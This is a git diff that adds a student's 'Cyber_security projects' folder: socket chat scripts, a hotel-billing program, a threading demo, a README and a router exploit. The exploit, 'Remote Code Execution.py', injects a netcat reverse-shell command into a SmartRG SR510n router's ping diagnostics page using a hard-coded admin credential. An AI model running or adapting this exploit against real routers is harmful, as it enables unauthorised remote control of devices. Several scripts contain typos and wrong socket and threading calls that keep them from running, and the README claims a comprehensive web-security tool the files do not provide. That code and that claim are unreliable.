diff --git a/Cyber_security  projects/CLIENT.py b/Cyber_security  projects/CLIENT.py
new file mode 100644
index 00000000..def4a71e
--- /dev/null
+++ b/Cyber_security  projects/CLIENT.py	
@@ -0,0 +1,32 @@
+#!/usr/bin/python3
+
+import socket
+import threading
+
+
+def send_msg():
+	while True:
+
+		msg =input().encode()
+		s.send(msg)
+
+def recv_msg():
+	while True:
+		recevied = s.recv(1024)
+		print(recevied.decode())
+
+
+s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+print("connecting..")
+while True:
+	try:
+		s.connect("127.0.0.1",8888)
+		break
+	except CoonectionRefusedError:
+		continue
+
+print("connected....")		
+
+t1 = threading.Thread(target=send_msg)
+t1.start()
+recv_msg()
diff --git a/Cyber_security  projects/README.md b/Cyber_security  projects/README.md
new file mode 100644
index 00000000..73d35858
--- /dev/null
+++ b/Cyber_security  projects/README.md	
@@ -0,0 +1,34 @@
+## Project Title
+Cyber_security Projects
+
+
+## Project Description
+The Project is a comprehensive cybersecurity tool designed to enhance the security of web applications and protect them from various threats. It provides a range of robust features and functionalities to identify vulnerabilities, perform penetration testing, and strengthen the overall security posture of web applications.
+
+## Table of Contents
+* Visit the official Python website: Go to the Python website at https://www.python.org/.
+
+* Download the installer: On the Python website, navigate to the Downloads section. You'll find the latest stable version of Python available for download. Choose the appropriate installer for your operating system. Python is available for Windows, macOS, and various Linux distributions.
+
+* Run the installer: Once the installer is downloaded, run the executable file to start the installation process.
+
+* Customize the installation (optional): During the installation, you may have the option to customize the installation settings. You can choose the installation directory, add Python to the system's PATH (recommended), and select optional features.
+
+* Start the installation: Proceed with the installation by following the prompts. The installer will extract and install Python on your system.
+
+* Verify the installation: After the installation is complete, open a command prompt or terminal window and enter the following command:
+
+```
+python --version
+```
+
+
+
+## Usage
+```
+python <file_name>
+```
+
+## Contributing
+Sathwik R - https://github.com/cicada0007
+
diff --git a/Cyber_security  projects/Remote Code Execution.py b/Cyber_security  projects/Remote Code Execution.py
new file mode 100644
index 00000000..ff5b5388
--- /dev/null
+++ b/Cyber_security  projects/Remote Code Execution.py	
@@ -0,0 +1,45 @@
+# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)
+# done by Sathwik.R - www.github.com/cicada0007
+
+import requests
+from subprocess import Popen, PIPE
+
+router_host =3D "http://192.168.1.1"
+authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D"
+
+lhost =3D "lo"
+lport =3D 80
+
+payload_port =3D 81
+
+
+def main():
+    e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=
+p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE)
+    Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout)
+    send_payload(f"|nc {lhost} {payload_port}|sh")
+    print("done.. check shell")
+
+
+def get_session():
+    url =3D router_host + "/admin/ping.html"
+    headers =3D {"Authorization": "Basic {}".format(authorization_header)}
+    r =3D requests.get(url, headers=3Dheaders).text
+    i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")
+    s =3D ""
+    while r[i] !=3D "'":
+        s =3D s + r[i]
+        i =3D i + 1
+    return s
+
+
+def send_payload(payload):
+    print(payload)
+    url =3D router_host + "/admin/pingHost.cmd"
+    headers =3D {"Authorization": "Basic {}".format(authorization_header)}
+    params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"=
+: get_session()}
+    requests.get(url, headers=3Dheaders, params=3Dparams).text
+
+
+main()
\ No newline at end of file
diff --git a/Cyber_security  projects/SERVER.py b/Cyber_security  projects/SERVER.py
new file mode 100644
index 00000000..42bf4bbb
--- /dev/null
+++ b/Cyber_security  projects/SERVER.py	
@@ -0,0 +1,28 @@
+#!/usr/bin/python3
+
+import socket
+import threading 
+
+def send_msg():
+	while True:
+		msg = input().encode()
+		client.send(msg)
+
+def recv_msg():
+	while True:
+		recived = client.recv(1024)
+		print(recived.decode())
+    
+
+s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
+s.bind("127.0.0.1",8888)
+print("Listeniing......")
+s.listen(1)
+client.addr = s.accept()
+print()
+print("connected.....")
+
+t1 = threading.Thread(target=send_msg)
+t1.start()
+recv_msg()
\ No newline at end of file
diff --git a/Cyber_security  projects/hotelbill.py b/Cyber_security  projects/hotelbill.py
new file mode 100644
index 00000000..9bd1fe32
--- /dev/null
+++ b/Cyber_security  projects/hotelbill.py	
@@ -0,0 +1,118 @@
+
+#this is my python lab mini project
+#-------------------------SATHWIK.R
+#-------------------------SHRADDESH 
+#-------------------------SIDDANTH
+
+
+
+
+#createing the menu
+
+menu={
+    "pizza":{
+        "small":{
+          "cost": 100,
+            "quantity":0
+        },
+        "medium":{
+            "cost": 200,
+            "quantity":0
+        },
+        "large":{
+            "cost": 300,
+            "quantity":0
+
+        }
+    },
+    "burger":{
+        "small":{
+            "cost":100,
+            "quantity":0
+        },
+        "medium":{
+            "cost":100,
+            "quantity":0
+        },
+        "large":{
+            "cost":100,
+            "quantity":0
+        }
+
+    },
+    "coke":{
+        "small":{
+            "cost":100,
+            "quantity":0
+        },
+        "medium":{
+            "cost":200,
+            "quantity":0
+
+        },
+        "large":{
+            "cost":300,
+            "quantity":0
+        }
+
+    },
+    "Chicken":{
+        "small":{
+            "cost":100,
+            "quantity":0
+        },
+        "medium":{
+            "cost":200,
+            "quantity":0
+        },
+        "large":{
+            "cost":300,
+            "quantity":0
+        }
+    }
+
+
+}
+
+
+
+#bill the following
+
+
+def bill(menu):
+    total_bill=0
+    for item in menu:
+        for size in menu[item]:
+           total_bill += menu[item][size]["cost"] * menu[item][size]["quantity"]
+    return total_bill       
+
+
+#order of the entire program
+
+def order(menu):
+    while(1):
+        print("OUR MENU\n1.pizza\n2.burger\n3.coke\n4.chicken\n\n\n")
+        item =input("\nENTER THE ITEM YOU NEED TO ORDER\n")
+        
+        if item not in menu:
+            
+            print("WE ARE SORRY!!!!!\nTHE ITEM IS NOT AVILABLE IN OUR HOTEL")
+            continue
+        print("THE SIZE AVILABLE ARE \n1.small\n2.medium\n3.large\n\n")
+        size = input("\nENTER THE SIZE OF THE ITEM\n")
+        if size not in menu[item]:
+            print("WE ARE SORRY!!!!\nWE DONT WHAVE THAT SIZE ")
+            continue
+        quantity=int(input("\nENTER THE QUNTITY\n"))
+        menu[item][size]["quantity"] += quantity
+        print("YOUR ORDER HAS BEEN PLACED ")
+        print("YOUR BILL IS",bill(menu))
+        
+        print("\nTHANK YOU FOR OUR ORDER \n VISIT AGAIN  :)")
+        print("DO YOU WANT TO ORDER MORE??  (Y/N) ")
+        choice = input()
+        if choice == "N":
+            break
+        
+
+order(menu)                  
diff --git a/Cyber_security  projects/threading.py b/Cyber_security  projects/threading.py
new file mode 100644
index 00000000..6cd9a0d4
--- /dev/null
+++ b/Cyber_security  projects/threading.py	
@@ -0,0 +1,18 @@
+#made by Sathwik R - www.github.com/cicada0007
+
+#1/usr/bin/python3
+
+import threadinng 
+
+
+def loop1():
+    while True:
+        print("loop1")
+
+def loop2():
+    while True:
+        prinnt("loop2")
+
+t1 =threading.Threading(targrt=loop1)
+t1.start()
+loop2()